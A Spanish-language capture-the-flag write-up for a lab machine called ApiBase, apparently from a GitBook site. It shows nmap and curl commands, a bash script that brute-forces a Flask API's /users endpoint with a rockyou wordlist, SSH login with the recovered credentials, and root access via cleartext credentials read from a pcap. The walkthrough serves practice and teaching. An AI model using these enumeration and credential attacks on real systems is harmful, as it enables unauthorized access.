> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/apibase-write-up.md).

# ApiBase write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/sKD8ck93zQBVwzbWwO4i" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de puertos abiertos de la máquina víctima**

Utilizamos la herramienta **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/gxVk6mrzl0QbwirQaXcv" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que está ejecutándose un servidor web Flask con **Werkzeug 1.0.1** sobre **Python 3.9.2** en el puerto **5000** y el servicio SSH por el 22. Por lo tanto vamos a ingresar la IP de la máquina víctima con el puerto 5000 en el navegador, y nos muestra lo siguiente:

<figure><img src="/files/3VFRTPyYNT8RGf7iTOW2" alt=""><figcaption></figcaption></figure>

Este mensaje `No endpoint selected. Please use /add to add a user or /users to query users.` parece la respuesta de una API, si leemos lo que nos dice nos revela dos rutas con la que podemos interactuar con ella. Así que ahora vamos a usar **curl** para ver como funciona.

```bash
curl -X POST "http://172.17.0.2:5000/add"
```

<figure><img src="/files/HBpNOf2hTj7mrriIU3Qx" alt=""><figcaption></figcaption></figure>

Con este comando hacemos `POST` a la API en la dirección `172.17.0.2:5000/add`. Al analizar el error nos damos cuenta de que la API está esperando un valor de `username`. Así que ahora vamos a probar de la siguiente manera:

```bash
curl -X POST "http://172.17.0.2:5000/add" -d "username=shinki"
```

<figure><img src="/files/mLaLlUekAtG3OpJyi3qS" alt=""><figcaption></figcaption></figure>

Y ahora nos muestra que falta el valor en el campo `username`, así que ahora ejecutamos lo siguiente:

```bash
curl -X POST "http://172.17.0.2:5000/add" -d "username=shinki&password=shinki"
```

<figure><img src="/files/nOJD8IVyLBMlQF1DZktB" alt=""><figcaption></figcaption></figure>

Y nos muestra que el usuario se ha añadido correctamente. En consecuencia vamos a hacer peticiones **GET** con **curl** para verificar que se ha añadido correctamente y ver la respuesta de la API en caso de que sea valida.

```bash
curl -X GET "http://172.17.0.2:5000/users" 
```

<figure><img src="/files/GuHdAOBDLhNht8ZdLLbH" alt=""><figcaption></figcaption></figure>

Este mensaje nos muestra que la API está esperando un parámetro, así que vamos a probar ahora con el siguiente comando:

```bash
curl -X GET "http://172.17.0.2:5000/users?username=shinki" 
```

<figure><img src="/files/JmuGd1mKNX2OyHG1R7Mm" alt=""><figcaption></figcaption></figure>

Y vemos que nos muestra un posible ID, el usuario y la contraseña solo indicando el parámetro username. Así que ahora vamos a hacer un ataque de fuerza bruta con el siguiente script en bash:

```bash
#!/bin/bash

# Definición de colores para la salida
AZUL="\033[1;34m"
VERDE="\033[1;32m"
ROJO="\033[1;31m"
RESET="\033[0m"
BLANCO_CLARO="\033[1;97m"

# Mostrar el banner
echo -e "${AZUL}"
cat << "EOF"
  _____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  
EOF
echo -e "${RESET}"

# Diccionario de usuarios
diccionario=$1

# Leer el archivo línea por línea
while IFS= read -r usuario; do

    usuario=$(echo "$usuario" | sed 's/""/ /g')

    # Realizar la solicitud GET a la API
    response=$(curl -s -o response.txt -w "%{http_code}" --get --data-urlencode "username=$usuario" "http://172.17.0.2:5000/users")


    sleep 0.0001

    if [[ "$response" -ne 200 ]] || grep -q "Enter your username" response.txt ; then
        # Si el código HTTP no es 200 (exitoso), lo tratamos como un error
        echo -e "${ROJO}Error en la solicitud para $usuario${RESET}"
        continue

    else

        # Si el usuario es encontrado, mostrar el usuario
        echo -e "${VERDE}Usuario valido para $usuario${RESET}"
        exit 1

    fi
    
done < "$diccionario"
```

Si lo quieres instalar directamente desde github ejecuta el siguiente comando:

```bash
git clone https://github.com/Shinkirou789/Peticiones_get_automaticas.git; cd Peticiones_get_automaticas; chmod 0700 Api_fuerza_bruta.sh
```

Para usarla, solo tendremos que pasarle el diccionario que queramos usar como parámetro de la siguiente manera:

```bash
./Api_fuerza_bruta.sh /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt
```

<figure><img src="/files/LbjGcuZSWDT2KJY2DxM4" alt=""><figcaption></figcaption></figure>

Esto nos indica que existe el usuario `pingu` y que su contraseña es `pinguinasio`. En consecuencia, accedemos a la máquina víctima por el servicio SSH con esas credenciales.

<figure><img src="/files/wnNA5GavOwLg4HSk3pgh" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro, si nos vamos al directorio `/home` observamos un fichero llamado `network.pcap` el cual es un paquete de red, para verlo mejor vamos a copiarlo en nuestra máquina host con **scp**:

```bash
scp pingu@172.17.0.2:/home/network.pcap .
```

<figure><img src="/files/5sxVK9iyZ6XstmMBYAPM" alt=""><figcaption></figcaption></figure>

Y ahora ejecutamos el siguiente comando para leer el paquete:

```bash
xxd network.pcap
```

<figure><img src="/files/MMjNbQWnRtZZYYq23ej3" alt=""><figcaption></figcaption></figure>

Si leemos atentamente podemos ver que dice `LOGIN root` y `PASS balulero`, así que vamos a probar esas credenciales para iniciar sesión como usuario `root`.

<figure><img src="/files/o3kkyr3NlVF3VDDAKeBn" alt=""><figcaption></figcaption></figure>

Y vemos que ya somos usuario `root`.
